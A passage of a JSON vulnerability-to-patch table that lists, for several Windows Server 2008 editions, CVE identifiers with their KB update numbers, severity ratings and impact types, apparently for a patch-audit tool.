Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6130","kb":"3108670","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108371","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126587","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192391","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197867","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197867","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015549","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041681","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054518","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022719","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025341","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038777","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093118","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-1038","kb":"4100480","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8120","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103718","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462923","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467107","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499164","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493472","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530734","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534310","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537820","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540688","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550964","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571729","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571729","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601347","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003233","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003233","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003667","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5004953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005088","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005633","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006743","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014748","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029296","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025279","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026413","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028240","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041838","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043129","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053620","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053620","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053620","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055561","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058380","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058430","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060996","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47981","kb":"5062632","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063947","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063947","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2506212","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518869","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901126","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6130","kb":"3108670","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3155413","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192391","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-7255","kb":"3197867","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015549","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041681","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054518","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022719","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025341","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038777","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093118","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-1038","kb":"4100480","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8120","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103718","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462923","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467107","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499164","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493472","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530734","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534310","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537820","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540688","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550964","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571729","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571729","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601347","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003233","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003233","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003667","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5004953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005088","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005633","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006743","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014748","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029296","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025279","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026413","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028240","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041838","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043129","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053620","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053620","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053620","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055561","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058380","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058430","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060996","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47981","kb":"5062632","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063947","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063947","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 for 32-bit Systems":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-5416","kb":"960089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code 